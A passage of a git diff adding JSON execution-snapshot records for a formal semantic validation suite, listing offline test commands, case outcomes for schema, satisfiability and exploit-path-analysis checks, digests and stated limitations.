"result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "fdd010ef00af9713b0c141be4ee61e63461334f0", + "source_state": { + "base_revision": "fdd010ef00af9713b0c141be4ee61e63461334f0", + "checkout_state": "modified", + "implementation_digest": "9d78e6e4d9ef2ecc620d137d3d949cdca4cca16cf3f8363d112468b70db6e109", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v45.json b/docs/research/formal-semantic-validation/execution-snapshot-v45.json new file mode 100644 index 000000000..650e1ced4 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v45.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-218-execution-v44", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v44.json", + "release_revision": "45.0.0", + "release_sha256": "64e562329eef767b3d75b5a0457aa0a36dd36da2d8eacec6880aa4dfdf1b9c3b" + }, + "captured_at": "2026-09-24T01:44:28.097138+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1357-execution-v45", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ 